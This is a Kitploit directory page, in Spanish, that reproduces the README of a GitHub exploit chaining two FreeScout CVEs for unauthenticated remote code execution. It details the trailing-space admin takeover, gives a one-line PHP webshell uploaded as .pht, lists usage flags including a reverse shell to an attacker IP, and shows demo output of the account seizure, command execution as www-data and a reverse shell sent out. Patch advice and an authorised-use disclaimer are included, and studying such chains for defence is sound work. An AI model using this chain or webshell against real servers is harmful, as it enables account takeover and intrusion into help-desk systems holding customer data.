Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-53595_exploit — Script de explotación que encadena CVE-2026-53595 (toma de cuenta anónima) y CVE-2026-53593 (carga de .pht) para ejecución remota de código no autenticada en el software de ayuda FreeScout. | Kitploit
Herramientas/GitHubGitHub/0xdak/cve-2026-53595_exploit
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónRed Teaming
GitHub0xdak/cve-2026-53595_exploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-53595_exploit

Script de explotación que encadena CVE-2026-53595 (toma de cuenta anónima) y CVE-2026-53593 (carga de .pht) para ejecución remota de código no autenticada en el software de ayuda FreeScout.

Ver Repositorio
hace 1 mesAún no revisado

CVE-2026-53595 (+ CVE-2026-53593) — ATO anónimo de FreeScout → RCE

Ejecución remota de código sin autenticación en FreeScout ≤ 1.8.223 (un sistema de help desk en Laravel) mediante la combinación de dos fallos, ambos corregidos en 1.8.224:

  • CVE-2026-53595 — toma de cuenta anónima. POST /user-setup/{hash}/{invite_sent_at} selecciona la cuenta solo por su columna invite_hash. Un usuario activado tiene invite_hash = '', y en MySQL/MariaDB la igualdad de VARCHAR ignora los espacios finales, por lo que hash = %20 coincide con el administrador. La puerta de caducidad invite_sent_at descifra el valor con la contraseña del usuario como clave, pero el helper de descifrado devuelve la entrada bruta en caso de fallo (catch vacío), por lo que se acepta una marca de tiempo actual en texto plano. El endpoint sobrescribe entonces el correo electrónico y la contraseña de la cuenta y te inicia sesión.
  • CVE-2026-53593 — subida .pht autenticada. La lista de denegación de subidas (php.*|sh|pl|phtml|phar) no cubre .pht, que Apache mod_php ejecuta como PHP.

Encadenándolos, un atacante no autenticado obtiene ejecución de código como el usuario del servidor web (www-data).

Lo que hace

  1. GET /user-setup/%20/<unix_ts> para obtener una cookie de sesión + token CSRF.
  2. POST a la misma URL para sobrescribir el correo/contraseña del admin e iniciar sesión (ATO).
  3. POST /uploads/upload un shell.pht (<?php system($_GET['c']); ?>).
  4. Ejecuta un comando a través de la webshell, o abre una reverse shell.

Uso

root@kitploit:~
./exploit.sh -t <target> [options]
   -t, --target URL     target base URL (e.g. http://10.10.10.10)   [required]
   -c, --cmd CMD        run a single command (default: id)
       --lhost IP       reverse shell: attacker IP (start nc first)
       --lport PORT     reverse shell port (default 4444)
       --email ADDR     email to set on the seized admin (default [email protected])
       --password PASS  password to set (default Pwned12345)
   -h, --help

Demostración

root@kitploit:~
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30

# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.

Requisitos

  • bash, curl, jq

Notas

  • Funciona en FreeScout 1.0.x – 1.8.223; 1.8.224+ corrige ambos errores (302 se convierte en una toma fallida).
  • El RCE se ejecuta como www-data (usuario de Apache). La ejecución de .pht depende de que el servidor ejecute .pht a través de mod_php — el entorno "Apache estándar + libapache2-mod-php" al que apunta el CVE.
  • La reverse shell se codifica en base64 antes de llegar a la webshell: system() se ejecuta a través de /bin/sh (dash en Debian/Ubuntu), que no entiende la redirección >& /dev/tcp/... exclusiva de bash, y base64 también evita todos los problemas de entrecomillado.
  • La contraseña por defecto no tiene ! a propósito — ! activa la expansión de historial en bash/zsh interactivo y desordena los comandos pegados.

Corrección

  • Actualiza a FreeScout 1.8.224+.
  • Nunca uses igualdad VARCHAR para tokens de seguridad (colisiones de espacios finales), y nunca trates un descifrado fallido como un valor válido — rechaza tokens vacíos/inválidos.
  • Usa una lista blanca de subidas, almacena las subidas fuera de la raíz web, y sírvelas a través de un manejador que nunca las ejecute.

Aviso legal

Solo con fines educativos y de pruebas de seguridad autorizadas. No lo uses contra sistemas que no poseas o para los que no tengas permiso explícito para probar. El autor no acepta responsabilidad por mal uso.

Descargar herramienta